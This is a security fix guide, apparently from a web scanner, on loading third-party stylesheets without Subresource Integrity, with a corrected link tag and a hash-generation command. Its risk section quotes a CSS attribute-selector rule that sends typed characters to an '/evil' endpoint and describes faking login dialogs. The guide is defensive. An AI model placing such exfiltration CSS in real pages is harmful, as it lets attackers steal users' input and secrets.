Fix guide · medium · missing_sri_external_stylesheet
External stylesheet loaded without Subresource Integrity
A <link rel="stylesheet" href="https://..."> pulls CSS from a third-party host without an integrity= attribute. Compromised stylesheets can hide buttons, fake dialogs, and exfiltrate page state.
Why it matters
Stylesheets feel low-risk — they're "just" presentation. They aren't.
A malicious CSS file can:
- Build a phishing dialog by hiding the real login form (
display:none) and absolutely-positioning a fake one with the same selectors. - Exfiltrate page state via attribute selectors:
input[value^="a"] { background: url(/evil?c=a); }ships a request to an attacker-controlled origin for every character a user types into an input. This was famously demonstrated against password managers and is still viable wherever rendered DOM exposes secrets in attributes. - Hide warning banners and accessibility cues to facilitate clickjacking.
- Rewrite
contentof pseudo-elements to display attacker-chosen text inside trusted UI.
The fix is identical to scripts: pin a specific version, add an integrity= attribute, and use crossorigin="anonymous". Same blast-radius math, slightly narrower attack class — still worth fixing.
How to fix it
<link
rel="stylesheet"
href="https://cdn.example.com/style.css"
integrity="sha384-oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/uxy9rx7HNQlGYl1kPzQho1wx4JwY8wC"
crossorigin="anonymous">
Generate the hash:
curl -sL https://cdn.example.com/style.css | openssl dgst -sha384 -binary | openssl base64 -A
Better alternative: self-host the stylesheet. Most CSS libraries (Tailwind, Bootstrap, etc.) are tiny when minified and gzip well. Bundle them with your own assets and remove the third-party origin entirely.
Pin the version. If the URL contains @latest or a moving major-version specifier, the hash will mismatch on the next release and the stylesheet will fail to load (silently — broken layout, no console error in some browsers).
Did vibecheck flag this on your app?
If you reached this page from a vibecheck inspection report, the redacted match in your scan output is the exact string we found in your bundle. After applying the fix above, run the inspection again — the finding should clear.
Run another inspection